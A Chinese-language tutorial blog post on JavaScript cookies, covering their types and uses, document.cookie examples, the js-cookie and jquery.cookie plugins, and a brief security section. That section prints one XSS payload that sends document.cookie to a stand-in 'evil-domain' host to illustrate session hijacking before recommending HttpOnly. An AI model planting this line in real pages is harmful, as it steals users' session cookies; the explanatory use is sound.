JavaScript — Cookie

時間 2020-04-07

標籤 javascript cookie 欄目 JavaScript 简体版

原文原文鏈接

1、什麼是Cookie

Cookie，小型文本文本，是某些網站爲了辨別用戶身份而加密存儲在用戶本地終端上的數據（來自維基百科）javascript

一、分類

Cookie老是保存在客戶端中，按在客戶端中的存儲位置，可分爲內存Cookie和硬盤Cookie。php

內存cookie由瀏覽器維護，保存在內存中，瀏覽器關閉後就消失了，存在時間是短暫的。css

硬盤cookie保存在硬盤裏，有一個過時時間，除非用戶手工清理或到了過時時間，到了過時時間，硬盤cookie不會被刪除，存在時間是長期的。html

因此按照存在時間，分爲非持久cookie和持久cookie。java

二、用途

Web瀏覽器和服務器使用HTTP協議進行通訊，由於HTTP是無狀態協議，因此服務器不知道用戶上一次作了什麼，不利於交互式Web應用程序的實現。但對於商業網站，須要在不一樣頁面之間維護會話信息。服務器能夠設置或讀取Cookies中包含信息，藉此維護用戶跟服務器會話)中的狀態。jquery

Cookie另外一個典型的應用是當登陸一個網站時，網站每每會請求用戶輸入用戶名和密碼，而且用戶能夠勾選「下次自動登陸」。若是勾選了，那麼下次訪問同一網站時，用戶會發現沒輸入用戶名和密碼就已經登陸了。這正是由於前一次登陸時，服務器發送了包含登陸憑據（用戶名加密碼的某種加密形式）的Cookie到用戶的硬盤上。第二次登陸時，若是該Cookie還沒有到期，瀏覽器會發送該Cookie，服務器驗證憑據，用戶沒必要輸入用戶名和密碼就能夠登陸了。shell

在許多狀況下，使用Cookie是記住和跟蹤偏好以及更好的提升訪問者體驗或網站統計所需的其餘信息的最有效方法。npm

Cookie主要用於如下三個方面：瀏覽器

會話狀態管理（如用戶登陸狀態、購物車、遊戲分數或其它須要記錄的信息）
個性化設置（如用戶自定義設置、主題等）
瀏覽器行爲跟蹤（如跟蹤分析用戶行爲等）

三、缺點

Cookie會被附加在每一個HTTP請求中，因此無形中增長了性能開銷
因爲在HTTP請求中的Cookie是明文傳遞的，因此存在安全性問題，除非用HTTPS
Cookie的大小限制在4KB左右，對於複雜的存儲需求來講是不夠用的

新的瀏覽器API已經容許開發者直接將數據存儲到本地，如使用 Web storage API （本地存儲和會話存儲）或 IndexedDB 。安全

2、Cookie操做

當服務器收到HTTP請求時，服務器能夠在響應頭裏面添加一個Set-Cookie選項。瀏覽器收到響應後一般會保存下Cookie，以後對該服務器每一次請求中都經過Cookie請求頭部將Cookie信息發送給服務器，服務器會知道/記住以前訪問的內容。另外，Cookie的過時時間、域、路徑、有效期、適用站點均可以根據須要來指定。

過時時間（Expires*）：若是這是空白，則訪問者退出瀏覽器時cookie將過時
域（Domain ）：網站域名
路徑（Path）：設置cookie的目錄或網頁的路徑
有效期：

JavaScript可使用Document對象的cookie屬性來操做cookie 。JavaScript能夠讀取、建立、修改和刪除適用於當前網頁的cookie。

一、建立Cookie

建立cookie的最簡單方法是爲document.cookie對象分配一個字符串值:

document.cookie = "key1 = value1;key2 = value2;expires = date";

這裏的expires屬性是可選的。若是您爲此屬性提供有效的日期或時間，則cookie將在給定的日期或時間到期，此後，cookie的值將沒法訪問。

設置Cookie過時時間

經過設置過時日期並在cookie中保存到期日期來延長cookie的生命週期，使其超出當前瀏覽器會話。這能夠經過將'expires'屬性設置爲日期和時間來完成。

<html>
   <head>   
      <script type = "text/javascript">
         <!--
            function WriteCookie() {
               var now = new Date();
               now.setMonth( now.getMonth() + 1 );
               cookievalue = escape(document.myform.customer.value) + ";"
               
               document.cookie = "name=" + cookievalue;
               document.cookie = "expires=" + now.toUTCString() + ";"
               document.write ("Setting Cookies : " + "name=" + cookievalue );
            }
         //-->
      </script>      
   </head>
   
   <body>
      <form name = "myform" action = "">
         Enter name: <input type = "text" name = "customer"/>
         <input type = "button" value = "Set Cookie" onclick = "WriteCookie()"/>
      </form>      
   </body>
</html>

二、獲取Cookie

<html>
   <head>   
      <script type = "text/javascript">
         <!--
            function ReadCookie() {
               var allcookies = document.cookie;
               document.write ("All Cookies : " + allcookies );
               
               // Get all the cookies pairs in an array
               cookiearray = allcookies.split(';');
               
               // Now take key value pair out of this array
               for(var i=0; i<cookiearray.length; i++) {
                  name = cookiearray[i].split('=')[0];
                  value = cookiearray[i].split('=')[1];
                  document.write ("Key is : " + name + " and Value is : " + value);
               }
            }
         //-->
      </script>      
   </head>
   
   <body>     
      <form name = "myform" action = "">
         <p> click the following button and see the result:</p>
         <input type = "button" value = "Get Cookie" onclick = "ReadCookie()"/>
      </form>      
   </body>
</html>

三、刪除Cookie

只需將到期日期設置爲過去的時間。

<html>
   <head>   
      <script type = "text/javascript">
         <!--
            function WriteCookie() {
               var now = new Date();
               now.setMonth( now.getMonth() - 1 );
               cookievalue = escape(document.myform.customer.value) + ";"
               
               document.cookie = "name=" + cookievalue;
               document.cookie = "expires=" + now.toUTCString() + ";"
               document.write("Setting Cookies : " + "name=" + cookievalue );
            }
          //-->
      </script>      
   </head>
   
   <body>
      <form name = "myform" action = "">
         Enter name: <input type = "text" name = "customer"/>
         <input type = "button" value = "Set Cookie" onclick = "WriteCookie()"/>
      </form>      
   </body>
</html>

3、輕量級Cookie插件

`js-cookie.js`

一、引入

（1）直接引入CDN或者本地下載引入

// CDN
<script src="https://cdn.jsdelivr.net/npm/js-cookie@2/src/js.cookie.min.js"></script>
// 本地
<script src="./js/js.cookie.js"></script>

（2）模塊化

npm install js-cookie

import Cookir form js-cookie

二、使用

（1）設置cookie

Cookies.set('name', 'value', { expires: 7, path: '' }); //7天過時

（2）讀取cookie

Cookies.get('name'); //獲取cookie

Cookies.get(); //讀取全部的cookie

（3）刪除cookie

Cookies.remove('name'); //刪除cookie時必須是同一個路徑。

`jquery.cookie.js`

一、引入

<script type="text/javascript" src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script>

<script type="text/javascript" src="//cdn.bootcss.com/jquery-cookie/1.4.1/jquery.cookie.min.js"></script>

二、使用

（1）建立cookie

//建立一個會話cookie，所建立的cookie有效期默認到用戶瀏覽器關閉止
$.cookie("name","AmberYLopez");

//建立一個持久cookie，指明時間時，故稱爲持久cookie，而且有效時間爲7天
$.cookie("name","AmberYLopez",｛expires:7｝);

//建立一個持久並帶有效路徑的cookie
//若是不設置有效路徑，在默認狀況下，只能在cookie設置當前頁面讀取該cookie，cookie的路徑用於設置可以讀取cookie的頂級目錄。
$.cookie("name","AmberYLopez",｛expires:7,path:'/'｝);

//建立一個持久並帶有效路徑和域名的cookie
//domain：建立cookie所在網頁所擁有的域名；secure：默認是false，若是爲true，cookie的傳輸協議需爲https；
//raw：默認爲false，讀取和寫入時候自動進行編碼和解碼（使用encodeURIComponent編碼，使用decodeURIComponent解碼），關閉這個功能，請設置爲true。
$.cookie("name","AmberYLopez",｛expires:7,path:'/',domain:'chuhoo.com',secure:false,raw:false｝);

（2）獲取cookie

$.cookie("name"); 
 //若是存在則返回AmberYLopez，不然返回null。

（3）刪除cookie

$.cookie("name",null);

4、安全性

保護cookie不被非法訪問的惟一方法是將它放在另外一個域名/子域名之下,，利用同源策略保護其不被讀取。

Web應用程序一般使用cookies來標識用戶身份及他們的登陸會話.。所以經過竊聽這些cookie，就能夠劫持已登陸用戶的會話.，竊聽的cookie的常見方法包括CSRF攻擊和XSS攻擊

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly 屬性能夠阻止經過javascript訪問cookie，從而必定程度上遏制這類攻擊。

參考資料：
Cookie-維基百科

Document.cookie

js-cookie.js的使用

Js 操做Cookie

相關標籤/搜索

每日一句

每一个你不满意的现在，都有一个你没有努力的曾经。